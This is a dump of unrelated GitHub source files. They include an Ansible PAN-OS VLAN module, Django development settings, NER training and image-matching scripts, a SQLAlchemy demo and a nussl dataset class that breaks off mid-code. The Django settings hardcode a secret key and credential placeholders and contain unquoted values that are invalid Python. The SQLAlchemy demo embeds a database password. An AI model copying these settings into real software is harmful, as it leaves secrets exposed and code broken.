+{"seq_id":"8440088983","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import, division, print_function\n__metaclass__ = type\n\n#  Copyright 2019 Palo Alto Networks, Inc\n#\n#  Licensed under the Apache License, Version 2.0 (the \"License\");\n#  you may not use this file except in compliance with the License.\n#  You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n#  Unless required by applicable law or agreed to in writing, software\n#  distributed under the License is distributed on an \"AS IS\" BASIS,\n#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n#  See the License for the specific language governing permissions and\n#  limitations under the License.\n\nANSIBLE_METADATA = {'metadata_version': '1.1',\n                    'status': ['preview'],\n                    'supported_by': 'community'}\n\n\nDOCUMENTATION = '''\n---\nmodule: panos_vlan\nshort_description: Configures VLANs.\ndescription:\n    - NOTE: The modules in this role are deprecated in favour of the modules in the collection U(https://paloaltonetworks.github.io/pan-os-ansible)\n    - Manage PAN-OS VLANs.\nauthor: \"Garfield Lee Freeman (@shinmog)\"\nversion_added: \"2.8\"\nrequirements:\n    - pan-python\n    - pandevice\nextends_documentation_fragment:\n    - panos.transitional_provider\n    - panos.state\n    - panos.vsys_import\n    - panos.full_template_support\nnotes:\n    - Checkmode is supported.\n    - Panorama is supported.\noptions:\n    name:\n        description:\n            -  Name of the VLAN.\n        required: True\n    interface:\n        description:\n            -  List of interface names\n        type: list\n    virtual_interface:\n        description:\n            - The VLAN interface\n            - See M(panos_vlan_interface)\n'''\n\nEXAMPLES = '''\n- name: Create VLAN\n  panos_vlan:\n    provider: '{{ provider }}'\n    name: 'Internal'\n    virtual_interface: 'vlan.2'\n'''\n\nRETURN = '''\n# Default return values\n'''\n\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.network.panos.panos import get_connection\n\n\ntry:\n    from pandevice.network import Vlan\n    from pandevice.errors import PanDeviceError\nexcept ImportError:\n    pass\n\n\ndef main():\n    helper = get_connection(\n        vsys_importable=True,\n        template=True,\n        template_stack=True,\n        with_state=True,\n        with_classic_provider_spec=True,\n        argument_spec=dict(\n            name=dict(required=True, ),\n            interface=dict(type='list', ),\n            virtual_interface=dict(),\n        ),\n    )\n\n    module = AnsibleModule(\n        argument_spec=helper.argument_spec,\n        supports_check_mode=True,\n        required_one_of=helper.required_one_of,\n    )\n\n    parent = helper.get_pandevice_parent(module)\n\n    spec = {\n        'name': module.params['name'],\n        'interface': module.params['interface'],\n        'virtual_interface': module.params['virtual_interface'],\n    }\n    obj = Vlan(**spec)\n\n    try:\n        listing = Vlan.refreshall(parent, matching_vsys=False)\n    except PanDeviceError as e:\n        module.fail_json(msg='Failed refresh: {0}'.format(e))\n\n    reference_params = {\n        'refresh': True,\n        'update': not module.check_mode,\n        'return_type': 'bool',\n    }\n    parent.add(obj)\n\n    changed = False\n    if module.params['state'] == 'present':\n        for vlan in listing:\n            if vlan.name != obj.name:\n                continue\n            if not vlan.equal(obj, compare_children=False):\n                changed = True\n                obj.extend(vlan.children)\n                if not module.check_mode:\n                    try:\n                        obj.apply()\n                    except PanDeviceError as e:\n                        module.fail_json(msg='Failed apply: {0}'.format(e))\n            break\n        else:\n            changed = True\n            if not module.check_mode:\n                try:\n                    obj.create()\n                except PanDeviceError as e:\n                    module.fail_json(msg='Failed create: {0}'.format(e))\n        try:\n            changed |= obj.set_vsys(module.params['vsys'], **reference_params)\n        except PanDeviceError as e:\n            module.fail_json(msg='Failed setref: {0}'.format(e))\n    elif module.params['state'] == 'absent':\n        try:\n            changed |= obj.set_vsys(None, **reference_params)\n        except PanDeviceError as e:\n            module.fail_json(msg='Failed setref: {0}'.format(e))\n        if obj.name in [x.name for x in listing]:\n            changed = True\n            if not module.check_mode:\n                try:\n                    obj.delete()\n                except PanDeviceError as e:\n                    module.fail_json(msg='Failed delete: {0}'.format(e))\n\n    module.exit_json(changed=changed, msg='done')\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"PaloAltoNetworks/ansible-pan","sub_path":"library/panos_vlan.py","file_name":"panos_vlan.py","file_ext":"py","file_size_in_byte":4849,"program_lang":"python","lang":"en","doc_type":"code","stars":220,"dataset":"github-code","pt":"60"}
+{"seq_id":"17229967951","text":"\"\"\"\nDjango settings for eRSA's password reset project.\n\"\"\"\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nimport os\n\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\n# Quick-start development settings - unsuitable for production\n# See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/\n\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = 'drip5dm-*6i=ej6g&+o(bb*z*5_4kvjh^-j=70j3(dd3(^ihk_'\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = True\n\nALLOWED_HOSTS = []\n\n# Application definition\n\nINSTALLED_APPS = (\n    'django.contrib.contenttypes',\n    'django.contrib.sessions',\n    'django.contrib.messages',\n    'django.contrib.staticfiles',\n    'ersaauth',\n)\n\nMIDDLEWARE_CLASSES = (\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.auth.middleware.SessionAuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n    'django.middleware.security.SecurityMiddleware',\n)\n\nROOT_URLCONF = 'app.urls'\n\nTEMPLATES = [\n    {\n        'BACKEND': 'django.template.backends.django.DjangoTemplates',\n        'DIRS': [],\n        'APP_DIRS': True,\n        'OPTIONS': {\n            'context_processors': [\n                'django.template.context_processors.debug',\n                'django.template.context_processors.request',\n                'django.contrib.auth.context_processors.auth',\n                'django.contrib.messages.context_processors.messages',\n            ],\n        },\n    },\n]\n\nWSGI_APPLICATION = 'app.wsgi.application'\n\nLANGUAGE_CODE = 'en-us'\n\nTIME_ZONE = 'Australia/Adelaide'\n\nUSE_I18N = True\n\nUSE_L10N = True\n\nUSE_TZ = True\n\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.8/howto/static-files/\n\nSTATIC_URL = '/static/'\n\nEMAIL_HOST = smtp.ersa.edu.au\n\nLOGGING = {\n    'version': 1,\n    'disable_existing_loggers': False,\n    'formatters': {\n        'simple': {\n            'format': '[%(asctime)s] [%(module)s] [%(levelname)s]: %(message)s'\n        },\n    },\n    'handlers': {\n        'stream_to_console': {\n            'level': 'DEBUG',\n            'class': 'logging.StreamHandler'\n        },\n        'file': {\n            'level': 'DEBUG',\n            'class': 'logging.FileHandler',\n            'filename': '/var/lib/django-pwd-reset/django-pwd-reset.log',\n            'formatter':'simple',\n        },\n    },\n    'loggers': {\n        'django-pwd-reset': {\n            'handlers': ['file'],\n            'level': 'DEBUG',\n            'propagate': True,\n        },\n    }\n}\n\n#Name to be referenced in the application. Should match one of above defined loggers\nAPP_LOGGER = 'django-pwd-reset'\n\n# Password reset token timeout: currently the unit is hour\nPASSWORD_RESET_TIMEOUT = 10\n# Salt used in generating password reset token\nPASSWORD_RESET_TOKEN_SALT = 'SOME_RANDOM_THING'\n\nFIM_URL = 'http://ersafim'\n\n# AD connection\n# Has to be TLS enabled\nAD_SERVER = ersa.edu.au\nAD_DOMAIN = domain\nAD_BASE = OU_TO_MAN_ersa.edu.au\n# Account used for reseting password\nAD_RESETER = SERVICE_ACCOUNT\nAD_RESETER_PWD = SERVICE_ACCOUNT_PWD","repo_name":"LoganCook/django-resetpassword","sub_path":"app/dev_settings.py","file_name":"dev_settings.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15181842302","text":"from src.preprocess import readfile, add_chars, create_matrices, padding, create_batches, get_words_and_labels, iterate_mini_batches\nfrom embedding.embedding import get_word_embedding, get_case_embedding, get_char_index_matrix, get_label_index_matrix, get_pos_tag_embedding\nfrom src.model import get_model\nfrom src.validation import compute_f1\nfrom keras.utils import Progbar\nimport numpy as np\nfrom itertools import chain\nfrom sklearn import metrics\n\n\ndef tag_dataset(dataset, isTest = False):\n    correctLabels = []\n    predLabels = []\n    b = Progbar(len(dataset))\n    for i, data in enumerate(dataset):\n        tokens, casing, char, labels, pos_tag = data\n        tokens = np.asarray([tokens])\n        casing = np.asarray([casing])\n        char = np.asarray([char])\n        pos_tag = np.asarray([pos_tag])\n        pred = model.predict([tokens, pos_tag, casing, char], verbose=False)[0]\n        pred = pred.argmax(axis=-1)  # Predict the classes\n        correctLabels.append(labels)\n        predLabels.append(pred)\n        b.update(i)\n\n    #print classification report for test\n    if isTest:\n        print(metrics.classification_report(list(chain.from_iterable(correctLabels)), list(chain.from_iterable(predLabels))))\n\n    return predLabels, correctLabels\n\n\ntrain = readfile(\"../data/train.txt\")\nvalidation = readfile(\"../data/valid.txt\")\ntest = readfile(\"../data/test.txt\")\n\ntrain = add_chars(train)\nvalidation = add_chars(validation)\ntest = add_chars(test)\n\nwords, labelSet, pos_tag_set = get_words_and_labels(train, validation, test)\nlabel_index = get_label_index_matrix(labelSet)\npos_tag_index, posTagEmbedding = get_pos_tag_embedding(pos_tag_set)\ncase_index, caseEmbeddings = get_case_embedding()\nword_index, wordEmbeddings = get_word_embedding(words)\nchar_index = get_char_index_matrix()\n\ntrain_set = padding(create_matrices(train, word_index,  label_index, case_index, char_index, pos_tag_index))\nvalidation_set = padding(create_matrices(validation, word_index, label_index, case_index, char_index, pos_tag_index))\ntest_set = padding(create_matrices(test, word_index, label_index, case_index, char_index, pos_tag_index))\n\nidx2Label = {v: k for k, v in label_index.items()}\n\ntrain_batch, train_batch_len = create_batches(train_set)\ndev_batch, dev_batch_len = create_batches(validation_set)\ntest_batch, test_batch_len = create_batches(test_set)\n\nmodel = get_model(wordEmbeddings, caseEmbeddings, char_index, label_index, posTagEmbedding)\n\nepochs = 80\nfor epoch in range(epochs):\n    print(\"Epoch %d/%d\"%(epoch, epochs))\n    for i, batch in enumerate(iterate_mini_batches(train_batch, train_batch_len)):\n        labels, tokens, casing, char, pos_tag = batch\n        model.train_on_batch([tokens, pos_tag, casing, char], labels)\n    #   Performance on dev dataset\n    predLabels, correctLabels = tag_dataset(dev_batch)\n    pre_dev, rec_dev, f1_dev = compute_f1(predLabels, correctLabels, idx2Label)\n    print(\"Dev-Data: Prec: %.5f, Rec: %.5f, F1: %.5f\" % (pre_dev, rec_dev, f1_dev))\n\n#   Performance on test dataset\npredLabels, correctLabels = tag_dataset(test_batch, True)\npre_test, rec_test, f1_test = compute_f1(predLabels, correctLabels, idx2Label)\nprint(\"Test-Data: Prec: %.5f, Rec: %.5f, F1: %.5f\" % (pre_test, rec_test, f1_test))\n","repo_name":"RubaP/Higher-Order-Neural-Architecture-For-NER","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7746609746","text":"# -*- coding: utf8 -*-\nfrom phystricks import *\ndef YIGPooZbaCAI():\n    pspict,fig = SinglePicture(\"YIGPooZbaCAI\")\n    pspict.dilatation_X(1)\n    pspict.dilatation_Y(1)\n\n    l=3\n    K=Point(0,0)\n    A=Point(l,0)\n    M=Point(2*l,0)\n    B=Point(3*l,0)\n    L=Point(4*l,0)\n    D=A+(0,-l)\n    C=D+(2*l,0)\n\n    rect=Polygon(A,B,C,D)\n    lseg=[   Segment(K,A),Segment(A,M),Segment(M,B),Segment(B,L),Segment(A,D)   ]\n    for seg in lseg:\n        cod=seg.get_code( n=2,d=0.1,l=0.3,angle=45,pspict=pspict )\n        pspict.DrawGraphs(cod)\n\n    mesX=Segment(K,B).get_measure(-0.6,0.1,None,\"\\( x\\)\",pspict=pspict,position=\"corner\")\n    rect.put_mark(0.4,pspict=pspict)\n\n    K.put_mark(0.2,90,\"\\( K\\)\",pspict=pspict)\n    M.put_mark(0.2,90,\"\\( M\\)\",pspict=pspict)\n    L.put_mark(0.2,90,\"\\( L\\)\",pspict=pspict)\n\n    for p in [A,B,C,D]:\n        p.parameters.symbol=\"\"\n\n    pspict.DrawGraphs(rect,mesX,lseg,K,M,L)\n    fig.no_figure()\n    fig.conclude()\n    fig.write_the_file()\n","repo_name":"LaurentClaessens/smath","sub_path":"phystricksYIGPooZbaCAI.py","file_name":"phystricksYIGPooZbaCAI.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"71052862271","text":"from setuptools import setup, find_packages\n\nFULL_VERSION = '0.1.0'\n\nwith open('README.md') as f:\n    readme = f.read()\n\nsetup(\n    name='wgan',\n    version=FULL_VERSION,\n    description='Wasserstein GAN tensorflow implementation.',\n    long_description=readme,\n    author='Asahi Ushio',\n    author_email='aushio@keio.jp',\n    packages=find_packages(exclude=('scripts', 'dataset')),\n    include_package_data=True,\n    test_suite='scripts',\n    install_requires=[\n        'tensorflow-gpu==1.10.1',\n        'numpy',\n        'pandas',\n        'Pillow',\n        'toml',\n        'scipy'\n    ]\n)\n","repo_name":"asahi417/WassersteinGAN","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"4029287914","text":"import cv2\nimport matplotlib.pyplot as plt\nimport scipy\nfrom tqdm import tqdm\n\n\ndef rot_fc(option):\n    img = cv2.imread('../data/cv_cover.jpg')\n    test_img = cv2.imread('../data/cv_cover.jpg')\n    if option == 'sift':\n        detect_fc = cv2.SIFT_create()\n    else:\n        detect_fc = cv2.ORB_create()\n    bf = cv2.BFMatcher()\n    matches_list = []\n    tmp = 1\n    plt.suptitle(f'{option}RotTest')\n    for i in tqdm(range(36)):\n        test_img_rot = scipy.ndimage.rotate(test_img, angle=i * 10)\n        if (len(img.shape) >= 3):\n            img1 = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n        if (len(test_img.shape) >= 3):\n            test_img1 = cv2.cvtColor(test_img_rot, cv2.COLOR_BGR2GRAY)\n\n        kp1, decs1 = detect_fc.detectAndCompute(img1, None)\n        kp2, decs2 = detect_fc.detectAndCompute(test_img1, None)\n\n        matches = bf.match(decs1, decs2)\n        matches_list.append(len(matches))\n        if (i + 1) % 10 == 0:\n            show_img = cv2.drawMatches(img, kp1, test_img1, kp2, matches, None)\n            plt.subplot(3, 1, tmp)\n            plt.imshow(show_img)\n            tmp += 1\n    plt.show()\n    x = list(range(0, 360, 10))\n    plt.suptitle(f'{option}RotTest')\n    plt.bar(x, matches_list, width=4)\n    plt.show()\n\n\nif __name__ == '__main__':\n    for i in ['sift', 'orb']:\n        rot_fc(i)\n","repo_name":"cnwxi/cv-lab1","sub_path":"ec/RotTest_sift&orb.py","file_name":"RotTest_sift&orb.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"38831964537","text":"from sqlalchemy import Column, ForeignKey, Integer, String\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import relationship, sessionmaker\nfrom sqlalchemy import create_engine\n\nengine = create_engine(\"postgresql://postgres:0000@localhost/postgres\", echo=False)\n\nBase = declarative_base()\nsession = sessionmaker(bind=engine)\ns = session()\n\n\nclass Book(Base):\n    __tablename__ = 'Books'\n\n    id_book = Column(Integer, primary_key=True)\n    title = Column(String(250), nullable=False)\n    author_id = Column(Integer, ForeignKey(\"Authors.id_author\"))\n    genre = Column(String(250))\n    price = Column(Integer, nullable=False)\n    Author = relationship(\"Author\")\n\n\nclass Author(Base):\n    __tablename__ = 'Authors'\n\n    id_author = Column(Integer, primary_key=True)\n    name = Column(String(250), nullable=False)\n    # book = relationship(\"Book\") # 1 ко многим\n\n\n# Base.metadata.create_all(engine)\nautor_querys = s.query(Author).filter(Author.name == 'НеЛутц')\npass\nfor autor_query in autor_querys:\n    if autor_query:\n        autor_query.name = 'Бизли'\n        s.add(autor_query)\ns.commit()\n","repo_name":"MaxxQwert/EduProject","sub_path":"ORM/alchemy_decl.py","file_name":"alchemy_decl.py","file_ext":"py","file_size_in_byte":1138,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1796666090","text":"from typing import List\n\n\nclass Solution:\n    def maxTrailingZeros(self, grid: List[List[int]]) -> int:\n        def cnt2_and_cnt5(num):\n            cnt2 = cnt5 = 0\n            while num:\n                if num % 2 == 0:\n                    num //= 2\n                    cnt2 += 1\n                    continue\n                if num % 5 == 0:\n                    num //= 5\n                    cnt5 += 1\n                    continue\n                break\n            return cnt2, cnt5\n\n        m, n = len(grid), len(grid[0])\n        # 横着前缀和\n        row_cnt2 = [[0] * (2 + n) for i in range(m)]\n        row_cnt5 = [[0] * (2 + n) for i in range(m)]\n        # 竖着前缀和\n        col_cnt2 = [[0] * n for i in range(m + 2)]\n        col_cnt5 = [[0] * n for i in range(m + 2)]\n\n        for i in range(m):\n            for j in range(n):\n                cnt2, cnt5 = cnt2_and_cnt5(grid[i][j])\n                # 行2行5\n                row_cnt2[i][j + 1] = row_cnt2[i][j] + cnt2\n                row_cnt5[i][j + 1] = row_cnt5[i][j] + cnt5\n                # 列2列5\n                col_cnt2[i + 1][j] = col_cnt2[i][j] + cnt2\n                col_cnt5[i + 1][j] = col_cnt5[i][j] + cnt5\n                if j == n - 1:\n                    row_cnt2[i][n + 1] = row_cnt2[i][n]\n                    row_cnt5[i][n + 1] = row_cnt5[i][n]\n                if i == m - 1:\n                    col_cnt2[m + 1][j] = col_cnt2[m][j]\n                    col_cnt5[m + 1][j] = col_cnt5[m][j]\n\n        max_zero = 0\n        for i in range(m):\n            for j in range(n):\n                item = grid[i][j]\n                item_2, item_5 = cnt2_and_cnt5(item)\n                left2 = row_cnt2[i][j] - row_cnt2[i][0]\n                right2 = row_cnt2[i][n + 1] - row_cnt2[i][j + 1]\n                up2 = col_cnt2[i][j] - col_cnt2[0][j]\n                down2 = col_cnt2[m + 1][j] - col_cnt2[i + 1][j]\n\n                left5 = row_cnt5[i][j] - row_cnt5[i][0]\n                right5 = row_cnt5[i][n + 1] - row_cnt5[i][j + 1]\n                up5 = col_cnt5[i][j] - col_cnt5[0][j]\n                down5 = col_cnt5[m + 1][j] - col_cnt5[i + 1][j]\n\n                left_up = min(left2 + up2 + item_2, left5 + up5 + item_5)\n                left_down = min(left2 + down2 + item_2, left5 + down5 + item_5)\n                right_up = min(right2 + up2 + item_2, right5 + up5 + item_5)\n                right_down = min(right2 + down2 + item_2, right5 + down5 + item_5)\n\n                max_zero = max(max_zero, left_up, left_down, right_up, right_down)\n\n        return max_zero\n\n\ns = Solution()\nprint(s.maxTrailingZeros(\n    [[23, 17, 15, 3, 20], [8, 1, 20, 27, 11], [9, 4, 6, 2, 21], [40, 9, 1, 10, 6], [22, 7, 4, 5, 3]]))\n","repo_name":"Apoiuty/LeetCode","sub_path":"N6072 转角路径乘积中尾随零.py","file_name":"N6072 转角路径乘积中尾随零.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"16403968555","text":"import nussl\nimport json\nimport os\nimport constants\nimport numpy as np\nfrom torch.utils.data import IterableDataset\n\nimport warnings\n\nfrom torch.utils.data import Dataset\n\nfrom nussl.core import AudioSignal\nimport transforms as tfm\nimport tqdm\n\n\nclass BaseDataset(Dataset):\n    \"\"\"\n    The BaseDataset class is the starting point for all dataset hooks\n    in nussl. To subclass BaseDataset, you only have to implement two\n    functions:\n\n    - ``get_items``: a function that is passed the folder and generates a\n      list of items that will be processed by the next function. The\n      number of items in the list will dictate len(dataset). Must return\n      a list.\n    - ``process_item``: this function processes a single item in the list\n      generated by get_items. Must return a dictionary.\n\n    After process_item is called, a set of Transforms can be applied to the\n    output of process_item. If no transforms are defined (``self.transforms = None``),\n    then the output of process_item is returned by self[i]. For implemented\n    Transforms, see nussl.datasets.transforms. For example,\n    PhaseSpectrumApproximation will add three new keys to the output dictionary\n    of process_item:\n\n    - mix_magnitude: the magnitude spectrogram of the mixture\n    - source_magnitudes: the magnitude spectrogram of each source\n    - ideal_binary_mask: the ideal binary mask for each source\n\n    The transforms are applied in sequence using transforms.Compose.\n    Not all sequences of transforms will be valid (e.g. if you pop a key in\n    one transform but a later transform operates on that key, you will get\n    an error).\n\n    For examples of subclassing, see ``nussl.datasets.hooks``.\n\n    Args:\n        folder (str): location that should be processed to produce the list of files\n\n        transform (transforms.* object, optional): A transforms to apply to the output of\n          ``self.process_item``. If using transforms.Compose, each transform will be\n          applied in sequence. Defaults to None.\n\n        sample_rate (int, optional): Sample rate to use for each audio files. If\n          audio file sample rate doesn't match, it will be resampled on the fly.\n          If None, uses the default sample rate. Defaults to None.\n\n        stft_params (STFTParams, optional): STFTParams object defining window_length,\n          hop_length, and window_type that will be set for each AudioSignal object.\n          Defaults to None (32ms window length, 8ms hop, 'hann' window).\n\n        num_channels (int, optional): Number of channels to make each AudioSignal\n          object conform to. If an audio signal in your dataset has fewer channels\n          than ``num_channels``, a warning is raised, as the behavior in this case\n          is undefined. Defaults to None.\n\n        strict_sample_rate (bool, optional): Whether to raise an error if\n\n    Raises:\n        DataSetException: Exceptions are raised if the output of the implemented\n            functions by the subclass don't match the specification.\n    \"\"\"\n\n    def __init__(self, folder, transform=None, sample_rate=None, stft_params=None,\n                 num_channels=None, strict_sample_rate=True, cache_populated=False):\n        self.folder = folder\n        self.items = self.get_items(self.folder)\n        self.transform = transform\n\n        self.cache_populated = cache_populated\n\n        self.stft_params = stft_params\n        self.sample_rate = sample_rate\n        self.num_channels = num_channels\n        self.strict_sample_rate = strict_sample_rate\n\n        if not isinstance(self.items, list):\n            raise DataSetException(\"Output of self.get_items must be a list!\")\n\n        # getting one item in order to set up parameters for audio\n        # signals if necessary, if there are any items\n        if self.items:\n            self.process_item(self.items[0])\n\n    def filter_items_by_condition(self, func):\n        \"\"\"\n        Filter the items in the list according to a function that takes\n        in both the dataset as well as the item currently be processed.\n        If the item in the list passes the condition, then it is kept\n        in the list. Otherwise it is taken out of the list. For example,\n        a function that would get rid of an item if it is below some\n        minimum number of seconds would look like this:\n\n        .. code-block:: python\n\n            min_length = 1 # in seconds\n\n            # self here refers to the dataset\n            def remove_short_audio(self, item):\n                processed_item = self.process_item(item)\n                mix_length = processed_item['mix'].signal_duration\n                if mix_length < min_length:\n                    return False\n                return True\n\n            dataset.items # contains all items\n            dataset.filter_items_by_condition(remove_short_audio)\n            dataset.items # contains only items longer than min length\n\n        Args:\n            func (function): A function that takes in two arguments: the dataset and\n              this dataset object (self). The function must return a bool.\n        \"\"\"\n        filtered_items = []\n        n_removed = 0\n        desc = f\"Filtered {n_removed} items out of dataset\"\n        pbar = tqdm.tqdm(self.items, desc=desc)\n        for item in pbar:\n            check = func(self, item)\n            if not isinstance(check, bool):\n                raise DataSetException(\n                    \"Output of filter function must be True or False!\"\n                )\n            if check:\n                filtered_items.append(item)\n            else:\n                n_removed += 1\n            pbar.set_description(f\"Filtered {n_removed} items out of dataset\")\n        self.items = filtered_items\n\n    @property\n    def cache_populated(self):\n        return self._cache_populated\n\n    @cache_populated.setter\n    def cache_populated(self, value):\n        self.post_cache_transforms = []\n        cache_transform = None\n\n        transforms = (\n            self.transform.transforms\n            if isinstance(self.transform, tfm.Compose)\n            else [self.transform])\n\n        found_cache_transform = False\n        for t in transforms:\n            if isinstance(t, tfm.Cache):\n                found_cache_transform = True\n                cache_transform = t\n            if found_cache_transform:\n                self.post_cache_transforms.append(t)\n\n        if not found_cache_transform:\n            # there is no cache transform\n            self._cache_populated = False\n        else:\n            self._cache_populated = value\n            cache_transform.cache_size = len(self)\n            cache_transform.overwrite = not value\n\n            self.post_cache_transforms = tfm.Compose(\n                self.post_cache_transforms)\n\n    def get_items(self, folder):\n        \"\"\"\n        This function must be implemented by whatever class inherits BaseDataset.\n        It should return a list of items in the given folder, each of which is\n        processed by process_items in some way to produce mixes, sources, class\n        labels, etc.\n\n        Args:\n            folder (str): location that should be processed to produce the list of files.\n\n        Returns:\n            list: list of items that should be processed\n        \"\"\"\n        raise NotImplementedError()\n\n    def __len__(self):\n        \"\"\"\n        Gets the length of the dataset (the number of items that will be processed).\n\n        Returns:\n            int: Length of the dataset (``len(self.items)``).\n        \"\"\"\n        return len(self.items)\n\n    def __getitem__(self, i):\n        \"\"\"\n        Processes a single item in ``self.items`` using ``self.process_item``.\n        The output of ``self.process_item`` is further passed through bunch of\n        of transforms if they are defined in parallel. If you want to have\n        a set of transforms that depend on each other, then you should compose them\n        into a single transforms and then pass it into here. The output of each\n        transform is added to an output dictionary which is returned by this\n        function.\n\n        Args:\n            i (int): Index of the dataset to return. Indexes ``self.items``.\n\n        Returns:\n            dict: Dictionary with keys and values corresponding to the processed\n                item after being put through the set of transforms (if any are\n                defined).\n        \"\"\"\n        if self.cache_populated:\n            data = {'index': i}\n            data = self.post_cache_transforms(data)\n        else:\n            data = self.process_item(self.items[i])\n\n            if not isinstance(data, dict):\n                raise DataSetException(\n                    \"The output of process_item must be a dictionary!\")\n\n            if self.transform:\n                data['index'] = i\n                data = self.transform(data)\n\n                if not isinstance(data, dict):\n                    raise tfm.TransformException(\n                        \"The output of transform must be a dictionary!\")\n\n        return data\n\n    def process_item(self, item):\n        \"\"\"Each file returned by get_items is processed by this function. For example,\n        if each file is a json file containing the paths to the mixture and sources,\n        then this function should parse the json file and load the mixture and sources\n        and return them.\n\n        Exact behavior of this functionality is determined by implementation by subclass.\n\n        Args:\n            item (object): the item that will be processed by this function. Input depends\n              on implementation of ``self.get_items``.\n\n        Returns:\n            This should return a dictionary that gets processed by the transforms.\n        \"\"\"\n        raise NotImplementedError()\n\n    def _load_audio_file(self, path_to_audio_file):\n        \"\"\"\n        Loads audio file at given path. Uses AudioSignal to load the audio data\n        from disk.\n\n        Args:\n            path_to_audio_file: relative or absolute path to file to load\n\n        Returns:\n            AudioSignal: loaded AudioSignal object of path_to_audio_file\n        \"\"\"\n        audio_signal = AudioSignal(path_to_audio_file)\n        self._setup_audio_signal(audio_signal)\n        return audio_signal\n\n    def _load_audio_from_array(self, audio_data, sample_rate=None):\n        \"\"\"\n        Loads the audio data into an AudioSignal object with the appropriate\n        sample rate.\n\n        Args:\n            audio_data (np.ndarray): numpy array containing the samples containing\n              the audio data.\n\n            sample_rate (int): the sample rate at which to load the audio file.\n              If None, self.sample_rate or the sample rate of the actual file is used.\n              Defaults to None.\n\n        Returns:\n            AudioSignal: loaded AudioSignal object of audio_data\n        \"\"\"\n        sample_rate = sample_rate if sample_rate else self.sample_rate\n        audio_signal = AudioSignal(\n            audio_data_array=audio_data, sample_rate=sample_rate)\n        self._setup_audio_signal(audio_signal)\n        return audio_signal\n\n    def _setup_audio_signal(self, audio_signal):\n        \"\"\"\n        You will want every item from a dataset to be uniform in sample rate, STFT\n        parameters, and number of channels. This function takes an audio signal\n        object loaded by the dataset and uses it to set the sample rate, STFT parameters,\n        and the number of channels. If ``self.sample_rate``, ``self.stft_params``, and\n        ``self.num_channels`` are set at construction time of the dataset, then the\n        opposite happens - attributes of the AudioSignal object are set to the desired\n        values.\n\n        Args:\n            audio_signal (AudioSignal): AudioSignal object to query to set the parameters\n              of this dataset or to set the parameters of, according to what is in the\n              dataset.\n        \"\"\"\n        if self.sample_rate and self.sample_rate != audio_signal.sample_rate:\n            if self.strict_sample_rate:\n                raise DataSetException(\n                    f\"All audio files should have been the same sample rate already \"\n                    f\"because self.strict_sample_rate = True. Please resample or \"\n                    f\"turn set self.strict_sample_rate = False\"\n                )\n            audio_signal.resample(self.sample_rate)\n        else:\n            self.sample_rate = audio_signal.sample_rate\n\n        # set audio signal attributes to requested values, if they exist\n        if self.stft_params:\n            audio_signal.stft_params = self.stft_params\n        else:\n            self.stft_params = audio_signal.stft_params\n\n        if self.num_channels:\n            if audio_signal.num_channels > self.num_channels:\n                # pick the first ``self.num_channels`` channels\n                audio_signal.audio_data = audio_signal.audio_data[:self.num_channels]\n            elif audio_signal.num_channels < self.num_channels:\n                warnings.warn(\n                    f\"AudioSignal had {audio_signal.num_channels} channels \"\n                    f\"but self.num_channels = {self.num_channels}. Unsure \"\n                    f\"of what to do, so warning. You might want to make sure \"\n                    f\"your dataset is uniform!\"\n                )\n        else:\n            self.num_channels = audio_signal.num_channels\n\n\nclass DataSetException(Exception):\n    \"\"\"\n    Exception class for errors when working with data sets in nussl.\n    \"\"\"\n    pass\n\n\nclass BufferData(BaseDataset):\n    def __init__(self, folder, to_disk=False, transform=None):\n        \"\"\"\n\n        Args:\n            folder (string): File path to store the data. Put any string when not saving to disk.\n            to_disk (bool): When true, data will be saved to disk for inspection, data will also be stored in memory\n                regardless of whether this is True or False\n            transform (transforms.* object): A transforms to apply to the output of\n              ``self.process_item``. If using transforms.Compose, each transform will be\n              applied in sequence. Defaults to None.\n        \"\"\"\n        # Circular buffer parameters\n        self.MAX_BUFFER_ITEMS = constants.MAX_BUFFER_ITEMS\n        self.ptr = 0\n        self.items = []\n        self.metadata = {}\n        self.full_buffer = False\n        self.to_disk = to_disk\n        self.last_ptr = -1   # To keep track of the latest item in the buffer\n\n        # Make sure the relevant directories exist\n        if self.to_disk:\n            if not os.path.exists(constants.DIR_PREV_STATES):\n                os.mkdir(constants.DIR_PREV_STATES)\n            if not os.path.exists(constants.DIR_NEW_STATES):\n                